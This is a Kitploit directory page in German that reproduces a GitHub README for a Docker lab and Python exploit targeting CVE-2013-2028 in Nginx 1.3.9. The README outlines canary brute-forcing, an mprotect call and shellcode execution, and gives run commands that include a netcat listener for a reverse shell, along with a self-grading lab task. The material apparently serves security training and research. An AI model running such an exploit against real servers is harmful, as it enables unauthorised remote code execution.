Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2013-2028-Exploit — Docker-basiertes Lab und Python-Exploit für CVE-2013-2028, einen Integer-Overflow im Chunked-Parser von Nginx 1.3.9, der Canary-Wiederherstellung, mprotect und Shellcode-Ausführung abdeckt. | Kitploit
Tools/GitHubGitHub/vanivamshi/cve-2013-2028-exploit
SchwachstellenanalyseExploitationShellcodeSicherheitsvirtualisierungPenetrationstestsLernen & BildungPayload-EntwicklungBinary-ExploitationLabs & Praxis
GitHubvanivamshi/cve-2013-2028-exploit

CVE-2013-2028-Exploit

Docker-basiertes Lab und Python-Exploit für CVE-2013-2028, einen Integer-Overflow im Chunked-Parser von Nginx 1.3.9, der Canary-Wiederherstellung, mprotect und Shellcode-Ausführung abdeckt.

Repository anzeigen
vor 7h 58mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2013-2028 Exploit

Details zur Schwachstelle

Betroffene Software: Nginx 1.3.9

Betroffene Funktion: ngx_http_parse_chunked

CVE-2013-2028 ist eine Integer-Overflow-Schwachstelle im HTTP-Chunked-Transfer-Encoding-Parser von Nginx. Unter den Bedingungen, die diese Laborumgebung adressiert, kann die Schwachstelle zu Speicherbeschädigung führen und dazu genutzt werden, den Kontrollfluss zu beeinflussen.

Dieses Repository stellt eine isolierte Docker-basierte Umgebung bereit, um die Schwachstelle zu untersuchen und den Exploitation-Workflow zu reproduzieren.

Details zur Ausnutzung

Der vollständige Exploit besteht aus vier Hauptphasen:

  1. Stack-Canary-Wiederherstellung

    Wiederherstellung des Stack-Canarys durch byteweises Abtasten.

  2. Manipulation des Speicherschutzes

    Berechnung der relevanten Adressinformationen und Konstruktion der erforderlichen Kontrollflusssequenz, um mprotect auf dem kontrollierten Speicherbereich aufzurufen.

  3. Platzierung des Shellcodes

    Kopieren der Payload in den kontrollierten Speicherbereich.

  4. Kontrollflussübertragung

    Übertragung der Ausführung auf den kontrollierten Speicherbereich.

Der vollständige Exploit demonstriert den Ablauf vom Auslösen des verwundbaren Parsers über Speicherbeschädigung und Kontrollflussmanipulation bis hin zur kontrollierten Codeausführung.

Voraussetzungen

  • Docker
  • Docker Compose
  • Python 3
  • Die von exploit.py benötigten Python-Abhängigkeiten
  • netcat für den Listener, der im vollständigen Lab verwendet wird

Reproduktion

1. Listener starten

Starten Sie auf dem Hostsystem einen Listener auf dem konfigurierten Port:

root@kitploit:~
nc -lvp 4345

Verwenden Sie denselben Port mit dem Argument --listenerport (-lp), wenn Sie den Exploit ausführen.

2. Verwundbaren Nginx-Container starten

Erstellen und starten Sie die Docker-Umgebung:

root@kitploit:~
sudo docker-compose up --build

Das verwundbare Ziel führt Nginx 1.3.9 im Container aus.

Sie können die Nginx-Version überprüfen mit:

root@kitploit:~
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v

3. Vollständigen Exploit ausführen

Führen Sie aus:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

Der Exploit führt die Phasen der Canary-Wiederherstellung und Payload-Konstruktion aus, bevor er die endgültige Payload an das verwundbare Ziel sendet.

Falls ein zuvor wiederhergestellter Canary verfügbar ist, kann er angegeben werden mit:

root@kitploit:~
python3 exploit.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port> \
    -c '<canary>'

4. Zwischenaufgabe

Das Repository stellt außerdem eine Zwischenaufgabe bereit, um den Fortschritt im Workflow der Schwachstellenforschung zu bewerten.

Führen Sie aus:

root@kitploit:~
python3 intermediate_task.py \
    -ra 127.0.0.1 \
    -rp 8081 \
    -la <listener-machine-address> \
    -lp <listener-machine-port>

Die Zwischenaufgabe führt ihre Prüfungen direkt gegen das laufende Docker-Ziel durch. Sie stützt sich nicht auf manuell erstellte Nachweisdateien oder manuell bereitgestellte JSON-Assertions.

Die Aufgabe überprüft zwei Bereiche:

Identifikation der Schwachstelle

Die Aufgabe:

  • Bestätigt, dass der Zielcontainer läuft.
  • Erkennt die installierte Nginx-Version.
  • Ermittelt, ob die erkannte Version der verwundbaren Nginx-Version entspricht, die im Lab verwendet wird.

Validierung der Konfiguration

Die Aufgabe:

  • Bestätigt, dass der Docker-Container läuft.
  • Bestätigt, dass Nginx läuft.
  • Validiert die Nginx-Konfiguration mit nginx -t.

Die Konfigurationsprüfung stellt fest, dass die Nginx-Konfiguration syntaktisch gültig ist. Sie sollte für sich genommen nicht als Beweis dafür interpretiert werden, dass CVE-2013-2028 behoben wurde.

Beispielausgabe:

root@kitploit:~
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================

Target:
  nginx running:        True
  nginx version:        1.3.9
  vulnerable build:     True

Progress:
  [x] vulnerability_identified
  [x] configuration_validated

All required checks completed.
Exercise complete.

Die Zwischenaufgabe speichert die Ergebnisse dieser Laufzeitprüfungen in:

root@kitploit:~
grader_state.json

Diese Datei dient nur dazu, den durch die Prüfungen erzeugten Zustand zu persistieren. Sie ist nicht die Quelle für die Bestimmung der Schwachstelle.

Docker-Ziel

Die Laborumgebung verwendet absichtlich Nginx 1.3.9, eine alte Nginx-Version, die von CVE-2013-2028 betroffen ist.

Die Docker-Umgebung bietet ein isoliertes Ziel für Schwachstellenforschung und Exploitation-Übungen. Auf den verwundbaren Dienst sollte nur über die von der Laborkonfiguration bereitgestellten Schnittstellen zugegriffen werden.

Haftungsausschluss

Dieses Repository ist ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke in einer isolierten Laborumgebung gedacht.

Führen Sie den Exploit nicht gegen Systeme aus, die Ihnen nicht gehören oder für deren Test Sie keine ausdrückliche Genehmigung haben.

Tool herunterladen